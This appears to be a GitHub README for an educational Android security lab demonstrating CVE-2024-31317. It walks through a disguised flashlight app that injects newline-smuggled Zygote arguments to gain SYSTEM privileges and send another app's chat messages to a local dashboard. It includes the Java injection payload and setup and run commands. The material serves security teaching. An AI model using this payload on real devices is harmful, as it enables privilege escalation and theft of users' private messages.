Share
## https://sploitus.com/exploit?id=561845C5-0B71-55BD-8832-B8F78D805597
# ๐Ÿ”ฅ ZygoteExploitDemo - CVE-2024-31317 Android Security Lab



### ๐Ÿšจ Educational Demonstration of Android Zygote Injection Vulnerability

[![GitHub stars](https://img.shields.io/github/stars/GitAmanS/ZygoteExploitDemo?style=social)](https://github.com/GitAmanS/ZygoteExploitDemo/stargazers)
[![GitHub forks](https://img.shields.io/github/forks/GitAmanS/ZygoteExploitDemo?style=social)](https://github.com/GitAmanS/ZygoteExploitDemo/network/members)
[![GitHub license](https://img.shields.io/github/license/GitAmanS/ZygoteExploitDemo)](https://github.com/GitAmanS/ZygoteExploitDemo/blob/main/LICENSE)



---

## ๐Ÿ“‹ Overview

This lab demonstrates **CVE-2024-31317**, a critical Android vulnerability that allows a malicious app to escalate privileges to **SYSTEM level (UID 1000)** and bypass the Android sandbox to read data from other applications in real-time.

### ๐ŸŽฏ What This Demo Shows

| Stage | Description | Visual |
|-------|-------------|--------|
| **1** | User installs innocent-looking "Flashlight Pro" app | ๐Ÿ”ฆ |
| **2** | App exploits CVE-2024-31317 to gain SYSTEM access | ๐Ÿ’‰ |
| **3** | SYSTEM-level service reads "SecureChat" messages | ๐Ÿ‘๏ธ |
| **4** | Stolen messages appear on live dashboard | ๐Ÿ“Š |

---

## ๐Ÿ—๏ธ Project Structure

```
ZygoteExploitDemo/
โ”œโ”€โ”€ ๐Ÿ“ฑ apps/
โ”‚   โ”œโ”€โ”€ SecureChat/              # Victim app (Jetpack Compose)
โ”‚   โ”‚   โ”œโ”€โ”€ Encrypted messages stored in SQLite
โ”‚   โ”‚   โ””โ”€โ”€ Simulates WhatsApp-style encryption
โ”‚   โ”‚
โ”‚   โ”œโ”€โ”€ FlashlightPro/           # Malicious app with exploit
โ”‚   โ”‚   โ”œโ”€โ”€ Normal flashlight UI (distraction)
โ”‚   โ”‚   โ”œโ”€โ”€ Background exploit service
โ”‚   โ”‚   โ””โ”€โ”€ WRITE_SECURE_SETTINGS permission
โ”‚   โ”‚
โ”‚   โ””โ”€โ”€ MonitorService/          # SYSTEM-level reader
โ”‚       โ”œโ”€โ”€ Runs with UID 1000 after exploit
โ”‚       โ”œโ”€โ”€ Reads SecureChat database
โ”‚       โ””โ”€โ”€ Exfiltrates to dashboard
โ”‚
โ”œโ”€โ”€ ๐Ÿ“Š dashboard/                # Flask web dashboard
โ”‚   โ””โ”€โ”€ app.py                   # Shows stolen messages live
โ”‚
โ”œโ”€โ”€ ๐Ÿ“œ scripts/                  # Automation scripts
โ”‚   โ”œโ”€โ”€ setup_vulnerable_emulator.sh
โ”‚   โ”œโ”€โ”€ build_all_apps.sh
โ”‚   โ”œโ”€โ”€ install_all_apps.sh
โ”‚   โ”œโ”€โ”€ run_exploit.py
โ”‚   โ””โ”€โ”€ monitor_logs.sh
โ”‚
โ”œโ”€โ”€ ๐ŸŽฏ exploits/                 # Exploit information
โ”‚   โ”œโ”€โ”€ CVE-2024-31317.md
โ”‚   โ””โ”€โ”€ payloads.txt
โ”‚
โ””โ”€โ”€ ๐Ÿ“ tamplates/                # Code templates
    โ”œโ”€โ”€ exploit_template.java
    โ””โ”€โ”€ dashboard_template.html
```

---

## ๐Ÿ”ง Technical Details

### The Vulnerability

CVE-2024-31317 exists in how Android's Zygote process handles the `hidden_api_blacklist_exemptions` system setting. Due to missing input sanitization, an attacker can inject newline characters to add arbitrary arguments to Zygote commands.

**Attack Vector:**

```java
Settings.Global.putString(
    contentResolver,
    "hidden_api_blacklist_exemptions",
    "LClass1;->method1(\n" +
    "7\n" +
    "--setuid=1000\n" +     // Run as SYSTEM
    "--setgid=1000\n" +     // Run as SYSTEM group
    "--invoke-with\n" +
    "am start-service ...;\n"
);
```

### Affected Versions

| Version | Status |
|---------|--------|
| Android 9 - 14 | โŒ Vulnerable (pre-June 2024 patch) |
| Android 14+ | โœ… Patched (June 2024 security update) |
| Android 15+ | โœ… Secure |

---

## ๐Ÿš€ Quick Start Guide

### Prerequisites

- โœ… Android Studio (latest)
- โœ… Python 3.8+ with Flask
- โœ… Android SDK with platform tools
- โœ… 10GB free disk space for emulator

### Step 1: Clone the Repository

```bash
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
```

### Step 2: Set Up Vulnerable Emulator

```bash
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh

# Start the emulator
emulator -avd vulnerable_android_12
```

### Step 3: Build and Install Apps

```bash
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
```

### Step 4: Start the Dashboard

```bash
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
```

๐Ÿ“ฑ **Open http://localhost:5000 in your browser**

### Step 5: Run the Exploit

```bash
cd ../scripts
python3 run_exploit.py
```

### Step 6: Watch the Magic โœจ

1. Open **SecureChat** app in emulator
2. Send some test messages
3. Watch them appear on the dashboard **instantly! ๐Ÿ”ด**

---

## ๐Ÿ“ธ Demo Video

> ๐ŸŽฌ *Demo video coming soon*

---

## ๐Ÿ”ฌ How It Works - Step by Step

1. **FlashlightPro** requests `WRITE_SECURE_SETTINGS` permission
2. Exploit code injects malicious payload into Zygote settings
3. Zygote spawns **MonitorService** with SYSTEM privileges (UID 1000)
4. SYSTEM service bypasses Android sandbox restrictions
5. Direct database read from `/data/data/com.securechat/databases/`
6. Exfiltration to Flask dashboard via HTTP POST
7. Real-time display of stolen encrypted messages

---

## ๐Ÿ“š Learning Resources

- [Android Security Bulletins](https://source.android.com/security/bulletin)
- [CVE-2024-31317 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-31317)
- [Original PoC by CleoV2](https://github.com/cleov2)

---

## ๐Ÿค Contributing

Contributions are welcome! Please:

1. Fork the repository
2. Create a feature branch
3. Submit a Pull Request

**Areas for contribution:**

- ๐ŸŽฏ Additional exploit payloads
- ๐Ÿ›ก๏ธ Better detection methods
- ๐Ÿ“– Improved documentation
- ๐ŸŒ Translation to other languages

---

## ๐Ÿ“„ License

MIT License - See [LICENSE](LICENSE) file for details

---

## ๐Ÿ‘จโ€๐Ÿ’ป Author

**Aman** - [@GitAmanS](https://github.com/GitAmanS)

---

## โญ Support

If you found this educational, please give it a star! โญ

---



**Made for security researchers, by a security researcher**

Remember: With great power comes great responsibility ๐Ÿ•ท๏ธ